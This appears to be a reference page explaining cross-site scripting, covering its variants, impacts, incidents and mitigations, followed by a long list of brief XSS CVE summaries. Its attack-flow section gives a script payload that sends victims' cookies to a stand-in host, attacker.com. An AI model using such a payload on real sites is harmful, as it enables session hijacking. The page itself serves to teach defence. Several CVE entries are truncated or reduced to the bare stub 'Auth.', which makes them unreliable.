Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (39199)
A cross-site scripting (XSS) vulnerability in the Zyxel NBG-418N v2 firmware versions prior to V1.00(AARP.14)C0 could allow a remote authenticated attacker with administrator privileges to store. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, low attack complexity.
Cross Site Scripting (XSS) vulnerability in PerfreeBlog 3.1.2 allows attackers to execute arbitrary code via the Post function. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting (XSS) vulnerability in pandao editor.md thru 1.5.0 allows attackers to inject arbitrary web script or HTML via crafted markdown text. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross site scripting (XSS) vulnerability in ZHENFENG13 My-Blog, allows attackers to inject arbitrary web script or HTML via editing an article in the "blog article" page due to the default. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting (XSS) vulnerability in WinterChenS my-site before commit 3f0423da6d5200c7a46e200da145c1f54ee18548, allows attackers to inject arbitrary web script or HTML via editing blog. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting (XSS) vulnerability in Qbian61 forum-java, allows attackers to inject arbitrary web script or HTML via editing the article content in the "article editor" page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross site scripting (XSS) vulnerability in ZHENFENG13 My-Blog, allows attackers to inject arbitrary web script or HTML via the "title" field in the "blog management" page due to the the default. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross-site Scripting (XSS) - Stored in GitHub repository thorsten/phpmyfaq prior to 3.1.13. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.
A vulnerability was found in SourceCodester Simple Student Information System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Anchor tag hrefs in Lexical prior to v0.10.0 would render javascript: URLs, allowing for cross-site scripting on link clicks in cases where input was being parsed from untrusted sources. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A vulnerability classified as problematic has been found in Control iD RHiD 23.3.19.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability, which was classified as problematic, has been found in SourceCodester Simple Mobile Comparison Website 1.0.php?f=save_field. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability classified as problematic was found in Netgear SRX5308 up to 4.3.5-3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability classified as problematic has been found in Netgear SRX5308 up to 4.3.5-3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A cross-site scripting (XSS) vulnerability in Aigital Wireless-N Repeater Mini_Router v0.131229 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in Netgear SRX5308 up to 4.3.5-3. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in Netgear SRX5308 up to 4.3.5-3. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in Netgear SRX5308 up to 4.3.5-3. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in Netgear SRX5308 up to 4.3.5-3 and classified as problematic.cgi?page=time_zone.htm of the component Web Management Interface. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability has been found in Netgear SRX5308 up to 4.3.5-3 and classified as problematic. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability, which was classified as problematic, was found in Netgear SRX5308 up to 4.3.5-3. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability, which was classified as problematic, has been found in Netgear SRX5308 up to 4.3.5-3. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
An issue was discovered in ebankIT before 7. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A vulnerability classified as problematic was found in Netgear SRX5308 up to 4.3.5-3. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability classified as problematic has been found in Netgear SRX5308 up to 4.3.5-3. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in Netgear SRX5308 up to 4.3.5-3. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in Netgear SRX5308 up to 4.3.5-3. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in Netgear SRX5308 up to 4.3.5-3. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
IBM Maximo Asset Management 7.6.1.2 and 7.6.1.3 is vulnerable to HTML injection. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
A vulnerability was found in Netgear SRX5308 up to 4.3.5-3 and classified as problematic. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability has been found in Netgear SRX5308 up to 4.3.5-3 and classified as problematic. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
EyouCms V1.6.1-UTF8-sp1 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
wuzhicms v4.1.0 is vulnerable to Cross Site Scripting (XSS) in the Member Center, Account Settings. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability, which was classified as problematic, has been found in SourceCodester Online DJ Management System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Concrete CMS (previously concrete5) before 9.1 is vulnerable to stored XSS in RSS Displayer via the href attribute because the link element input was not sanitized. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Concrete CMS (previously concrete5) versions 8.5.12 and below, 9.0.0 through 9.0.2 is vulnerable to Stored XSS in uploaded file and folder names. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Concrete CMS (previously concrete5) versions 8.5.12 and below, and 9.0 through 9.1.3 is vulnerable to stored XSS on API Integrations via the name parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Concrete CMS (previously concrete5) in versions 9.0 through 9.1.3 is vulnerable to Stored XSS on Tags on uploaded files. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Concrete CMS (previously concrete5) versions 8.5.12 and below, and versions 9.0 through 9.1.3 is vulnerable to Reflected XSS on the Reply form because msgID was not sanitized. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Concrete CMS (previously concrete5) in versions 9.0 through 9.1.3 is vulnerable to Stored XSS on Saved Presets on search. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Concrete CMS (previously concrete5) in versions 9.0 through 9.1.3 is vulnerable to Stored XSS via a container name. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A vulnerability, which was classified as problematic, was found in SourceCodester Resort Reservation System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.5.21. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
An issue was discovered in cPanel before 11.109.9999.116. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability classified as problematic was found in SourceCodester Service Provider Management System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability classified as problematic has been found in SourceCodester Service Provider Management System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Multiple stored cross-site scripting (XSS) vulnerabilities in Emlog Pro v2.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Article Title or. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross-site Scripting (XSS) - DOM in GitHub repository pimcore/pimcore prior to 10.5.21. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Cross-site Scripting (XSS) - Reflected in GitHub repository pimcore/pimcore prior to 10.5.21. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Cross-site Scripting (XSS) - Generic in GitHub repository pimcore/pimcore prior to 10.5.21. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.
IBM WebSphere Application Server 8.5 and 9.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.5.21. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Cross-site Scripting (XSS) - Reflected in GitHub repository pimcore/pimcore prior to 10.5.21. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Cross-site Scripting (XSS) - Generic in GitHub repository pimcore/pimcore prior to 10.5.21. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.5.21. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.5.21. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.5.21. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
An XSS issue was discovered in Serenity Serene (and StartSharp) before 6.7.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Reflected Cross Site Scripting (XSS) in Intermesh BV Group-Office version 6.6.145, allows attackers to gain escalated privileges and gain sensitive information via the GO_LANGUAGE cookie. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Zoho ManageEngine Applications Manager before 16400 allows proxy.html DOM XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability found in Exelysis Unified Communication Solutions (EUCS) v.1.0 allows a remote attacker to execute arbitrary code via the Username parameter of the eucsAdmin login. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
OURPHP <= 7.2.0 is vulnerale to Cross Site Scripting (XSS) via /client/manage/ourphp_out.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
OURPHP <= 7.2.0 is vulnerable to Cross Site Scripting (XSS) via ourphp_tz.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A cross-site scripting (XSS) vulnerability in ToolJet v1.6.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Comment Body component. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
CLTPHP <=6.0 is vulnerable to Cross Site Scripting (XSS) via application/home/controller/Changyan.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A vulnerability was found in UCMS 1.6.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Medicine Tracker System in PHP 1.0.0 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Sourcecodester Medicine Tracker System in PHP 1.0.0 is vulnerable to Cross Site Scripting (XSS) via page=about. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Dradis before 4.8.0 allows persistent XSS by authenticated author users, related to avatars. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
matrix-react-sdk is a react-based SDK for inserting a Matrix chat/VoIP client into a web page. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required, low attack complexity.
A vulnerability was found in SourceCodester Purchase Order Management System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
PrestaShop is an Open Source e-commerce web application. Rated critical severity (CVSS 9.9), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
CraftCMS 3.7.59 is vulnerable Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross Site Scripting (XSS) vulnerability in World Wide Broadcast Network AVideo before 12.4, allows attackers to gain sensitive information via the success parameter to /user. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
A cross-site scripting (XSS) vulnerability in Pear-Admin-Boot up to v2.0.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Title of a private message. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the NoteEditor.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A stored cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3, allows remote attackers to inject arbitrary web script or HTML via input fields. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A reflected cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the id parameter of /churchcrm/v2/family/not-found. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Auth (subscriber+) Reflected Cross-Site Scripting (XSS) vulnerability in Macho Themes Regina Lite theme <= 2.0.7 versions. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 39199